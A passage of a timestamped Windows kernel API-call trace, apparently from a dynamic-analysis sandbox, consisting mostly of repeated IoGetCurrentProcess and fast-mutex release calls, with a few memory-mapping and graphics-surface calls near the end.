0xffffe00001078440 [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.953] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.954] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.954] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.954] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.954] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.965] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.965] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.965] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.965] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.966] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.966] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.966] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.967] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.967] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.967] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.967] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.967] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.967] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.967] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.968] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.968] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.968] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.968] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.968] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.969] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.969] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.969] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.969] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.969] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.969] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.976] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.977] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.977] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.977] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.977] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.977] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.977] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.978] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.978] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.978] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.978] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.978] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.978] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.979] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.979] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.979] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.979] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.979] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.980] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.980] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.980] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.980] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.980] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.981] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.981] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.981] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.981] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.982] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.982] IoGetCurrentProcess () returned 0xffffe00001078440 [0155.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0155.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.023] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.023] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.023] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.023] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.023] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.023] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.024] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.024] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.024] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.025] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.025] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.025] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.025] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.025] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.026] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.026] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.026] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.026] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.027] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.039] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.039] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0156.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0156.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.771] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.787] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.787] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.787] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.788] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.788] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.789] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.789] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.789] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.789] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.968] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0159.968] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.968] EngAllocMem () returned 0xfffff90142521030 [0159.969] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.969] MmMapViewOfSection (in: SectionObject=0xffffc000017b89a0, Process=0xffffe00001078440, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xcb27de0000, SectionOffset=0xffffd00021096ed0, ViewSize=0xfffff90142521370) returned 0x0 [0159.969] EngCreateBitmap () returned 0x506de [0159.969] EngAssociateSurface () returned 0x1 [0159.969] EngLockSurface () returned 0xfffff901409e1cb8 [0159.969] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000156dfc0 [0159.969] KeInitializeEvent (in: Event=0xffffe0000156dfd8, Type=0x1, State=0 | out: Event=0xffffe0000156dfd8) [0159.969] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0159.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.984] IoGetCurrentProcess () returned 0xffffe00001078440 [0159.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0159.984] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.984] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.194] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.195] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.195] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.196] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.197] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.200] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.201] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.201] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.201] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.202] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.202] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.202] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.203] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.203] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.255] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.323] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.323] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.324] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.325] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.325] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.325] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.326] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.326] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.326] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.326] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.383] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.384] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.384] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.385] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.385] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.443] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.444] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0160.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.444] IoGetCurrentProcess () returned 0xffffe00001078440 [0160.444] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000156dfc0) [0160.444] 